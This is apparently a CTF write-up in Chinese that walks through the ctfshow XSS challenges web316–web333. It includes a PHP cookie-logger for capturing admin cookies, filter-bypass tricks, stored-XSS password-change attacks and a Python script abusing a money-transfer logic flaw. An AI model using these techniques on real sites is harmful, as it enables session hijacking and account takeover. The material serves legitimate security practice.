ctfshow XSS web316-web333 wp

可能写的有点啰嗦,记录自己做题的过程

文章目录

      • web316
      • web317
      • web318
      • web319
      • web320
      • web321
      • web322
      • web323
      • web324
      • web325
      • web326
      • web327
      • web328
      • web329
      • web330
      • web331
      • web332
      • web333

web316

后台会每隔一段时间(一般为15秒)去访问一次我们的链接(毕竟要领10个鸡蛋bot要康康你的分享状态),当BOT访问我们的xss的时候我们就能拿到admin的cookie。

这里有两种方法来获取,一种是在线的xss平台,如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接

另一种就是搭建在自己的网站上,写一段php代码即可,如

# xss.php

$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

一般来说,第一种方法已经够我们用了,但是有的时候还是只能用第二种方法。如ctfshow 终极考核题,因为第二台机器不能出网无法做到代理,而第二台机器又存在XSS,这种时候就只能使用第二种方法来获得cookie了。

这里使用https://xss.pt/xss.php,首先注册登录进入主页,然后点击创建
ctfshow XSS web316-web333 wp_第1张图片

选择默认模块

ctfshow XSS web316-web333 wp_第2张图片

获得很多种链接,随便用一个来生成“祝福语”,生成后再刷新一下题目,然后回到项目界面

当然会出现一种很常见的情况是:you are not admin no flag

ctfshow XSS web316-web333 wp_第3张图片

不要慌张,这种情况是正常的(就是X到自己了),多弄几次就好了

太伤心了,整了十几次都还是插的自己

玛德我无语了,我放自己服务器上去,放上去(上面的php代码)之后写这条语句


在这里插入图片描述

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

为啥一次成功了,我不理解。。

web317

上一题的payload打不通,因为过滤了但不知道过滤了什么,将script换成body就成功了,说明过滤了script


web318

上一道题的payload成功了

web319

上一题的payload成功了

web320

上一题的payload失败了,不知道过滤了啥。这里测试一下。

第一次测试是删掉了href前面的

ctfshow XSS web316-web333 wp_第4张图片

这说明过滤点在前面,body是没问题的

第二次删掉window前面的,一样有回显,说明过滤点在前面

onload没问题,body没问题,说明问题出在这个空格

绕过方法:

TAB

/

/**/


web321

上一道题payload成功了

web322

玛德太恶心了,这里需要把服务器上的xss.php改成别的名字,总之不能出现xss三个字符


web323

上一题payload成功了

web324

上一题payload成功了

web325

上一题payload成功了

web326

上一题payload成功了

web327

换题了,存储型XSS

ctfshow XSS web316-web333 wp_第5张图片

收件人肯定admin

然后信的内容用322payload试一下

ctfshow XSS web316-web333 wp_第6张图片

成功

web328

一个登录的,账号admin,密码上面的payload试试

失败了,账号密码都用payload试试

还是失败了

诶上面有个注册按钮,试一下。

无法注册admin,换别的名字就可以。登录进去用户管理只有admin才能看到

因为只有管理员才能看到用户管理,那这里有个思路就是说能不能注入payload到用户管理那里,那个管理员访问。

注册一个账号,密码为上面的payload试试

实践结果是不行

这里用

ctfshow XSS web316-web333 wp_第7张图片

这里得到了管理员的cookie,那直接用cookie登录试一下

ctfshow XSS web316-web333 wp_第8张图片

但是抓包这里看不到管理的界面,而且这是临时的,所以直接换存储

ctfshow XSS web316-web333 wp_第9张图片

然后刷新一下界面就看到了flag,但是flag一闪而过了,这里就只有抓包了

ctfshow XSS web316-web333 wp_第10张图片

web329

方法同上,能得到cookie但是还是访问不了页面

原因是,管理员访问了页面就退出了,相当于现在得到的最新cookie是管理员上一次用的cookie

这里不行了呀这里,看了下wp是用js

这样,看视频https://www.bilibili.com/video/BV1gi4y1A76p


这里拆开是因为如果直接写ctfshow,到时候查询到的第一条含有ctfshow的就是我们自己

ctfshow XSS web316-web333 wp_第11张图片

加个{,ctf+show{

记得每次数据被污染了就开一个新的靶场

在这里插入图片描述

web330

多了个修改密码的选项,那不直接让admin自己修改自己密码


注册一个payload账号就行了

ctfshow XSS web316-web333 wp_第12张图片

web331

思路和上一道一样,只不过方法从get变成了post

ctfshow XSS web316-web333 wp_第13张图片


web332

9999元才能购买flag,新注册账号有5块钱。

然后发现转负的钱自己就能加,别就会减,哈哈哈哈

给admin转个-9999就好了

web333

上一道题就想写脚本了,结果发现了简单方法所以没写

这里直接写个脚本疯狂注册给我钱(薅羊毛)

写了二十多分钟一直调试发现就是登录不上。。。不知道为啥呜呜呜

看了下yu师傅的脚本,是自己给自己转钱,就可以加,我太笨了

import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
	'u':'mumuzi', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

至此,XSS部分结束

你可能感兴趣的:(ctf,笔记,ctfshow,php,xss,信息安全)